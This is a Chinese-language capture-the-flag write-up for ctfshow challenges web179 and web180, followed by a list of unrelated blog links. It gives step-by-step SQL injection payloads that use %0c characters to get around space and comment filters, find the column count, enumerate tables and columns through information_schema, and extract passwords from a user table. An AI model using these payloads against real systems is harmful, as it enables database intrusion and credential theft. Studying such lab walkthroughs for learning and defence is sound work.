ctfshow web179,180

本题跟前几道题一样对--+和空格进行过滤,但是对空格的过滤更加严格,/**/和%09已经失效我们尝试使用%0c发现可以绕过

1'%0corder%0cby%0c4%23

可以判断出这个的字段数为3

-1'%0cunion%0cselect%0c1,database(),3%23

-1'%0cunion%0cselect%0c1,table_name,3%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23

-1'%0cunion%0cselect%0c1,'hack',password%0cfrom%0cctfshow_user%23

就得到了flag

最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+

是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义

180题将--+和%23都过滤了我们可以尝试--空格过滤,但是空格也被限制了所以我们尝试使用%0c来绕过

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c

-1'union%0cselect%0c1,'ah',password%0cfrom%0cctfshow_user--%0c

相关推荐
Rabitebla1 天前
【Linux】进程控制(十二) 自定义 Shell(二):内建命令与进程工作目录管理
linux·c++·笔记·学习·bash
坤坤子吖1 天前
Linux网络编程:TCP 粘包与半包问题,如何正确处理 TCP 流式数据?
linux·服务器·网络·笔记·网络协议·学习
YLCHUP1 天前
【思维&图论建模】题解:债权(debt)_图论_建模_思路转化_思维题目_C++算法竞赛
c++·笔记·算法·数学建模·贪心算法·深度优先·图论
旖旎夜光1 天前
【C++ 基础入门】C++11 新特性(中):右值引用、移动语义与完美转发
开发语言·c++·笔记·学习
星恒随风2 天前
MySQL 从零入门(五):MySQL 内置函数详解——日期、字符串、数学函数与实战案例
linux·数据库·笔记·sql·mysql
2603_969694852 天前
【JavaWeb学习记录】MyBatis核心知识点与实战笔记:从入门到动态SQL
笔记·sql·学习·mysql·mybatis·javaweb·学习方法
可乐ea2 天前
智能体记忆该拆成几层:笔记、记忆表示与注入上下文
服务器·数据库·笔记·ai智能体·提示词工程·上下文工程·记忆系统
Go Work2 天前
两个等值条件摆着,MySQL 偏要全表扫
经验分享·笔记
Oll Correct2 天前
Adobe illustrator 案例十四:花元素标志草图绘制
笔记·ui·adobe·illustrator
每月一号准时摆烂2 天前
服务器运维笔记(一)——使用shell编写实时查看BMC功率的脚本
运维·服务器·笔记